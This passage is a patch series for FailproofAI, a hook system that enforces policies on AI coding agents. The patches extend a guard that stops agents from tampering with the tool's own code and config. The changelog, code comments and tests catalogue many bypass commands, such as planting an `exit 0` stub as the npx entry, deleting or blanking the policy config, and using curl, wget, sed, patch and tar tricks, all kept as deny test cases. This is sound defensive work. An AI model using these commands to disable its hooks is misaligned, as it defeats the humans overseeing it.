every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it), or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`, and OpenClaw's reaches policies under its own name), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it), or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-openclaw-apply-patch.test.ts b/__tests__/hooks/guard-openclaw-apply-patch.test.ts new file mode 100644 index 000000000..fe203a63c --- /dev/null +++ b/__tests__/hooks/guard-openclaw-apply-patch.test.ts @@ -0,0 +1,43 @@ +// @vitest-environment node +import { beforeEach, describe, expect, it } from "vitest"; +import { registerBuiltinPolicies } from "../../src/hooks/builtin-policies"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; +import { clearPolicies } from "../../src/hooks/policy-registry"; + +/** + * OpenClaw passes its own `apply_patch` tool to policies under that name, + * uncanonicalized, where Codex's arrives as `Edit`. The always-on guard matched + * only Bash and the file tools, so an OpenClaw patch that planted + * `node_modules/.bin/failproofai`, or rewrote failproofai's state, never + * reached it (FailproofAI/failproofai#1058). This runs the guard the way the + * handler does: registered from its catalog matcher, then evaluated. + */ +describe("block-failproofai-commands — OpenClaw's native apply_patch", () => { + beforeEach(() => { + clearPolicies(); + registerBuiltinPolicies([]); + }); + + const patchOf = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + const evaluate = (toolInput: Record) => + evaluatePolicies( + "PreToolUse", + { tool_name: "apply_patch", tool_input: toolInput, cwd: "/work/proj" }, + { cli: "openclaw", cwd: "/work/proj" }, + ); + + it.each([ + ["adding the npx entry", { input: patchOf("*** Add File: node_modules/.bin/failproofai", "+exit 0") }], + ["rewriting the state", { input: patchOf("*** Update File: /home/u/.failproofai/policies-config.json", "@@", "+{}") }], + ["rewriting the installed package", { patch: patchOf("*** Update File: node_modules/failproofai/dist/cli.mjs", "@@", "+exit 0") }], + ])("denies a patch %s", async (_label, toolInput) => { + const result = await evaluate(toolInput); + expect(result.decision).toBe("deny"); + expect(result.policyName).toBe("failproofai/block-failproofai-commands"); + }); + + it("allows a patch to project files", async () => { + const result = await evaluate({ input: patchOf("*** Update File: src/app.ts", "@@", "-a", "+b") }); + expect(result.decision).toBe("allow"); + }); +}); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index f2c66aea8..a2d1ce8bd 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -4555,7 +4555,9 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // completely as `rm -rf` does — and the machine still reads as fresh, so // fail-closed never fires. Reading is not offered by these tools' write half, // so naming the state at all is the whole test. - if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { + // `apply_patch` is a patch tool under its own name: OpenClaw passes its own + // through uncanonicalized, where Codex's arrives as `Edit`. + if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit" || ctx.toolName === "apply_patch") { // The path the tool names, and every file a patch it carries names. const paths = [getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""), ...patchTargets(ctx.toolInput)]; // A patch's relative paths are read from the session's directory, and diff --git a/src/hooks/policy-catalog.ts b/src/hooks/policy-catalog.ts index ad4300c5e..6b753fc35 100644 --- a/src/hooks/policy-catalog.ts +++ b/src/hooks/policy-catalog.ts @@ -240,10 +240,12 @@ export const POLICY_CATALOG: PolicyCatalogEntry[] = [ // through this guard unguarded: the agent never needs a shell to overwrite // `~/.failproofai/policies-config.json` with `{"enabledPolicies":[]}` — it // just writes the file. Every CLI canonicalizes its own file tool's path - // key to `file_path`, so one branch covers all of them. + // key to `file_path`, so one branch covers all of them. `apply_patch` is + // OpenClaw's native patch tool, which reaches policies under its own name + // (FailproofAI/failproofai#1058). match: { events: ["PreToolUse", "PermissionRequest"], - toolNames: ["Bash", "Write", "Edit", "NotebookEdit"], + toolNames: ["Bash", "Write", "Edit", "NotebookEdit", "apply_patch"], }, defaultEnabled: true, alwaysOn: true, From 52c478da4bf94625e569a104e596a3bd43119ad0 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 17:07:00 +0530 Subject: [PATCH 52/60] [hooks] Close hermes's seventh round: oversized globs, values through variables and cd, cut-short options F7: a glob in the last component that matched more than 4,096 names gave up and allowed the write, though only its links can reach anywhere else. Only the links are read now, however many plain names match. A glob also reads the links the line made before it, `cd` into a pattern goes where it matches, a loop variable takes what its list expands to, and a write that sweeps a bin directory (`tee bins/*`) writes the entry there. F11: a value is stored as the shell stores it, expanded when assigned with every value it may hold, so `B=$A` after `(A=out)` keeps `bins`. `cd` and `pushd` move to each value. `${...}` operators are applied as bash applies them, and `declare -n`, `read <<<`, `printf -v`, `mapfile` and `unset` set what they set. A destination still holding a value the walk cannot read is refused when what follows it could be the entry. curl before 8 and getopt_long take a long option cut short (`--output-di`), so each landing option is read in every prefix it may be. wget's `--default-page`, `-e` and `--trust-server-names`, curl's other output files, sed scripts, patches and curl configs read from a file, and archives extracted into a bin directory are judged too. F13: curl's `-O` takes no value, so the Codex workdir check reads its option clusters as getopt does. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 183 ++++ docs/policies/local-configuration.mdx | 2 +- src/hooks/builtin-policies.ts | 1008 +++++++++++++++++-- 4 files changed, 1128 insertions(+), 67 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 79d3e47ae..cc1fb1a61 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`, and OpenClaw's reaches policies under its own name), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it), or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`, and OpenClaw's reaches policies under its own name), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it, read when it is assigned, through another variable, an operator such as `${D%/}` or `${X:-bins}`, a `cd`, a loop, `read`, `printf -v` or `declare -n`), through a glob however many names it matches (`tee many/*` with a link among them) and a write that sweeps a bin directory (`tee bins/*`), through a long option cut short as curl before 8 and getopt_long take it (`--output-di`), wget's `--default-page` and `-e`, curl's other output files (`--stderr`, the cookie jar), a sed script, patch or curl config read from a file, an archive extracted into a bin directory, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 7cd9086ad..c39289f62 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -1207,3 +1207,186 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs } }); }); + +/** + * hermes's seventh review of FailproofAI/failproofai#1058, each reproduced with + * real bash, curl and wget in a scratch project first: a final-component glob + * over more names than the walk expanded (F7), variable values that reach a + * destination through another variable, an operator, or a `cd` (F11), and a + * long option cut short (`--output-di`), which curl before 8 and every + * getopt_long tool take. Alongside, the same paths through a sweep of npm's + * bin directory, a link made earlier on the line, a loop, the builtins that set + * a variable without `=`, and a sed script read from a file. + */ +describe("block-failproofai-commands — hermes's seventh round", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-round7-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "out")); + mkdirSync(join(proj, "many")); + writeFileSync(join(proj, "node_modules", ".bin", "failproofai"), "#!/bin/sh\n"); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "hook")); + // More plain names than a glob was expanded to, and one link among them. + for (let i = 0; i < 4200; i++) writeFileSync(join(proj, "many", `a${String(i).padStart(4, "0")}`), ""); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "many", "hook")); + writeFileSync(join(proj, "writes.sed"), "w hook\n"); + writeFileSync(join(proj, "prints.sed"), "p\n"); + writeFileSync(join(proj, "out", "a.txt"), ""); + const diff = (path: string) => `--- a/${path}\n+++ b/${path}\n@@ -1 +1 @@\n-#!/bin/sh\n+exit 0\n`; + writeFileSync(join(proj, "entry.patch"), diff("node_modules/.bin/failproofai")); + writeFileSync(join(proj, "links.patch"), diff("bins/failproofai")); + writeFileSync(join(proj, "app.patch"), diff("src/app.ts")); + writeFileSync(join(proj, "output.cfg"), "silent\noutput = hook\n"); + writeFileSync(join(proj, "landing.cfg"), "output-dir = bins\nremote-name\n"); + writeFileSync(join(proj, "quiet.cfg"), "# just quiet\nsilent\n"); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + // F7: past 4096 plain names, the link among them still counts. + "tee many/* < /tmp/stub.sh", + "cat /tmp/stub.sh | tee many/?*", + "cd many && tee * < /tmp/stub.sh", + "for f in many/*; do cat /tmp/stub.sh > \"$f\"; done", + // A write that sweeps npm's bin directory writes the entry in it. + "tee bins/* < /tmp/stub.sh", + "tee node_modules/.bin/* < /tmp/stub.sh", + "cp /tmp/stub.sh node_modules/.bin/*", + // A glob reads the links this line made before it. + "ln -s ../node_modules/.bin out/b && cp /tmp/stub.sh out/b*/failproofai", + "ln -s ../node_modules/.bin out/b && cd out/b* && printf x > failproofai", + ])("denies a glob that writes the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // F11: a value through another variable, read when it is assigned. + "A=bins; (A=out); B=$A; cp /tmp/stub.sh $B/failproofai", + "A=bins; A=out true; B=$A; cp /tmp/stub.sh $B/failproofai", + "A=bins; (A=out); B=${A}; cp /tmp/stub.sh ${B}/failproofai", + "N=fail; M=${N}proofai; (N=x); printf x > bins/$M", + // A `cd` to each value the operand may hold. + "D=bins; (D=out); cd $D && printf x > failproofai", + "D=bins; D=out true; cd \"${D}\" && printf x > failproofai", + "D=bins; (D=out); pushd $D > /dev/null && printf x > failproofai", + "export D=bins; (D=out); cd $D; printf x > failproofai", + // Operators as bash applies them. + "D=bins; cd ${D%/} && printf x > failproofai", + "D=out; cp /tmp/stub.sh ${D/out/bins}/failproofai", + "cp /tmp/stub.sh ${X:-bins}/failproofai", + "N=D; D=bins; cp /tmp/stub.sh ${!N}/failproofai", + // Values set without `=`, and ones the walk cannot read. + "D=bins; declare -n R=D; cp /tmp/stub.sh $R/failproofai", + "read D <<< bins; cp /tmp/stub.sh $D/failproofai", + "printf -v D bins; cp /tmp/stub.sh $D/failproofai", + "for d in out bins; do cp /tmp/stub.sh $d/failproofai; done", + "for n in x failproofai; do printf x > bins/$n; done", + "D=$(echo bins); cp /tmp/stub.sh $D/failproofai", + "D=`echo bins`; cp /tmp/stub.sh $D/failproofai", + ])("denies a variable that carries the write onto the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // A long option cut short, as curl before 8 and getopt_long take it. + "curl -s --output-di bins -O https://example.test/failproofai", + "curl -s --output-d node_modules/.bin --remote-name https://example.test/failproofai", + "curl -s --output-dir bins --remote-name-a https://example.test/failproofai", + "curl -s --output-dir out -O https://example.test/x --nex --output-di bins -O https://example.test/failproofai", + "wget -q --directory-p=bins https://example.test/failproofai", + "wget -q --dir bins https://example.test/failproofai", + // The names wget gives that are not the URL's last segment. + "cd bins && wget -q --default-page=failproofai https://example.test/", + "wget -q -P bins --default-p=failproofai https://example.test/", + "wget -q -e dir_prefix=bins https://example.test/failproofai", + "cd bins && wget -q --trust-server-names https://example.test/x", + // The other files curl writes. + "curl -s --stderr hook -o /dev/null https://example.test/x", + "curl -s --stde hook -o /dev/null https://example.test/x", + "curl -s -c hook https://example.test/x", + "curl -s --cookie-j hook https://example.test/x", + ])("denies a download option that lands on the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "sed -n -f writes.sed /tmp/notes", + "sed -n --file=writes.sed /tmp/notes", + "sed -nf writes.sed /tmp/notes", + "sed -n -f missing.sed /tmp/notes", + ])("denies a sed script file that writes the entry, or one it cannot read: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // An archive extracted into npm's bin directory. + "tar -xf /tmp/stub.tar -C bins", + "tar --extract --file=/tmp/stub.tar --directory=node_modules/.bin", + "cd bins && tar -xzf /tmp/stub.tgz", + "unzip -o /tmp/stub.zip -d bins", + // A patch file that names the entry, directly or through a link. + "patch -p1 < entry.patch", + "patch -p1 -i links.patch", + "git apply entry.patch", + "git -C . apply links.patch", + "cat entry.patch | patch -p1", + "patch -p1 < missing.patch", + // A curl config read onto the line. + "curl -K output.cfg https://example.test/x", + "curl --config landing.cfg https://example.test/failproofai", + "curl -sK missing.cfg https://example.test/x", + ])("denies an archive, patch or config that writes the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "rm -rf node_modules/.bin/*", + "tar -xf /tmp/stub.tar -C out", + "tar -czf out/backup.tgz node_modules", + "patch -p1 < app.patch", + "git apply app.patch", + "curl -K quiet.cfg https://example.test/x -o out/x", + "ls many/* > /dev/null", + "wc -l many/* > out/counts", + "for f in out/*.txt; do cp \"$f\" \"$f.bak\"; done", + "for f in many/a000*; do cat \"$f\" > /dev/null; done", + "D=out; cp /tmp/stub.sh ${D}/notes", + "D=out/; cp /tmp/stub.sh ${D%/}/x", + "OUT=out/log.txt; echo hi > \"$OUT\"", + "cp /tmp/stub.sh ${X:-out}/notes", + "read D <<< out; cp /tmp/stub.sh $D/notes", + "cd out && curl -sO https://example.test/failproofai/my-tool", + "curl -s --cookie hook https://example.test/x", + "sed -n -f prints.sed /tmp/notes > out/x", + "cd out && wget -q --default-page=index.txt https://example.test/", + ])("still allows: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); + + // F13: curl's `-O` takes no value, so the URL after it is no file name, and + // a download from a directory Codex does not report lands by the URL's last + // segment, `my-tool` here. + it.each([ + "cd out && curl -sO http://host/failproofai/my-tool", + "cd out && curl -s -O http://host/failproofai/my-tool", + "cd out && curl -sSLO http://host/failproofai/my-tool", + ])("allows a Codex download whose URL only passes through a failproofai directory: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("allow"); + }); + + it.each([ + "curl -sD failproofai http://host/x", + "curl -s --stderr failproofai http://host/x", + "curl -so failproofai http://host/x", + ])("denies a Codex download that names the entry as a file curl writes: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("deny"); + }); +}); diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index e61efb198..2d394823d 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,7 +22,7 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. -Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path (Pi's are the exception: its project file points at the extension inside the installed package). npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path (Pi's are the exception: its project file points at the extension inside the installed package). npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. It reads a command as written and as the shell expands it, with the sed scripts, patches and curl configs the command names, so it cannot see a path a command only computes as it runs: one read from a pipe or a file (`read`, `xargs`), one a sourced file sets, one a tool takes from its own configuration (`~/.curlrc`, `~/.wgetrc`), or one a script run by an interpreter writes (`python -c`, `node -e`, `awk`). User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index a2d1ce8bd..fb7abcad8 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2,7 +2,7 @@ * Built-in security policies for Claude Code hooks. */ import { resolve, join } from "node:path"; -import { lstatSync, readdirSync, readlinkSync, statSync } from "node:fs"; +import { lstatSync, readFileSync, readdirSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -870,9 +870,27 @@ const SECOND_OPERAND_WRITERS = new Set(["uniq", "xxd"]); const OUTPUT_FLAG_COMMANDS: Record = { sort: ["-o", "--output"], tree: ["-o", "--output"], - curl: ["-o", "--output", "--output-dir", "-D", "--dump-header", "--trace", "--trace-ascii"], + curl: [ + "-o", + "--output", + "--output-dir", + "-D", + "--dump-header", + "--trace", + "--trace-ascii", + "-c", + "--cookie-jar", + "--stderr", + "--libcurl", + "--etag-save", + "--hsts", + "--alt-svc", + ], }; +/** Options that are a prefix of an output option's name but are another option themselves. */ +const EXACT_NON_OUTPUT_OPTIONS = new Set(["curl --cookie", "curl --trace-time", "curl --trace-ids", "curl --trace-config"]); + /** * `find` actions that write a file of their own, as opposed to running one. * @@ -976,6 +994,19 @@ const VAR_REFERENCE_RE = /\$\{?([A-Za-z_][A-Za-z0-9_]*)\}?/g; /** `NAME=value` or `export NAME=value`, quoted or not, wherever it sits. */ const ASSIGNMENT_RE = /(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g; +/** `declare -n NAME=TARGET` (or `typeset`, `local`): `NAME` read as `TARGET`. */ +const NAMEREF_RE = + /(?:^|[\s;&|(])(?:declare|typeset|local)\s+(?:[-+][A-Za-z]+\s+)*?-[A-Za-z]*n[A-Za-z]*\s+(?:[-+][A-Za-z]+\s+)*([A-Za-z_][A-Za-z0-9_]*)=["']?([A-Za-z_][A-Za-z0-9_]*)["']?/g; + +/** The header of a `for` or `select` loop over a list: its variable and the list. */ +const LOOP_VARIABLE_RE = /(?:^|[\s(])(?:for|select)\s+([A-Za-z_][A-Za-z0-9_]*)\s+in\b\s*([\s\S]*)$/; + +/** More values than a loop's variable is read with; past it, only those that may reach what is protected. */ +const MAX_LOOP_VALUES = 64; + +/** A value a word still holds that the walk cannot read: a substitution, or a reference left unexpanded. */ +const UNREAD_VALUE_RE = /\$\(\((?:[^()]|\([^()]*\))*\)\)|\$\((?:[^()]|\([^()]*\))*\)|\$\(|`[^`]*`|`|\$\{[^}]*\}|\$\{|\$[A-Za-z_][A-Za-z0-9_]*|\$[0-9@*#?$!-]/g; + /** * The spellings of the state directory a glob would have to match. * @@ -1841,6 +1872,24 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo return true; } +/** + * The operands a simple command writes, apart from those it reads or deletes: + * every operand of `tee` and `truncate`, the destination of a copy, move or + * link, the last of `uniq` / `xxd`, `dd of=`, and what `sed -i` edits. + */ +function writtenOperands(words: string[]): string[] { + if (words.length === 0) return []; + const head = commandBasename(words[0]); + const args = words.slice(1); + const operands = args.filter((arg) => !arg.startsWith("-")); + if (OPERAND_WRITE_COMMANDS.has(head) || head === "truncate") return operands; + if (COPY_COMMANDS.has(head) || head === "mv" || head === "ln") return operands.slice(-1); + if (SECOND_OPERAND_WRITERS.has(head)) return operands.length > 1 ? operands.slice(-1) : []; + if (head === "dd") return args.filter((arg) => arg.startsWith("of=")).map((arg) => arg.slice(3)); + if (head === "sed" && args.some((arg) => arg.startsWith("-i") || arg.startsWith("--in-place"))) return operands; + return []; +} + /** * The files a sed script writes: its `w` / `W` commands and the `w` flag of * `s///`, with the name glued on (`wnode_modules/.bin/failproofai`) or after @@ -1879,6 +1928,64 @@ function sedWriteTargets(args: string[]): string[] { /** More files than a sed script writes in practice; past it the line is refused unread. */ const MAX_SED_TARGETS = 64; +/** Larger than a file of instructions (a sed script, a patch, a curl config) is read; past it, it is read as writing what is protected. */ +const MAX_INSTRUCTION_FILE_BYTES = 1024 * 1024; + +/** + * The options a curl config file gives, as the words they would be on the + * line: `output = hook`, `-o hook`, `--output-dir bins` and `remote-name`, + * one per line, a value quoted or not, `#` starting a comment. + */ +function curlConfigArgs(text: string): string[] { + const args: string[] = []; + for (const line of text.split(/\r?\n/)) { + const trimmed = line.trim(); + if (trimmed === "" || trimmed.startsWith("#")) continue; + const m = /^(-{0,2}[A-Za-z0-9][\w-]*)(?:\s*[=:]\s*|\s+|$)(.*)$/.exec(trimmed); + if (m === null) continue; + const option = m[1].startsWith("-") ? m[1] : m[1].length === 1 ? `-${m[1]}` : `--${m[1]}`; + args.push(option); + const value = m[2].trim(); + if (value !== "") args.push(value.replace(/^"((?:[^"\\]|\\.)*)"$/, "$1").replace(/\\(.)/g, "$1")); + } + return args; +} + +/** + * The script files a sed command line reads: `-f FILE` (alone, glued, or + * ending a cluster such as `-nf`) and `--file=FILE` / `--file FILE` in any + * abbreviation GNU sed takes (`--fi`). + */ +function sedScriptFiles(args: string[]): string[] { + const files: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "--") break; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name !== "" && "file".startsWith(name) && !"follow-symlinks".startsWith(name)) { + files.push(eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1)); + } else if (eq === -1 && name !== "" && ["expression", "line-length"].some((option) => option.startsWith(name))) k++; + continue; + } + if (!/^-[A-Za-z]/.test(arg)) continue; + for (let c = 1; c < arg.length; c++) { + if (arg[c] === "f") { + files.push(c + 1 < arg.length ? arg.slice(c + 1) : (args[++k] ?? "")); + 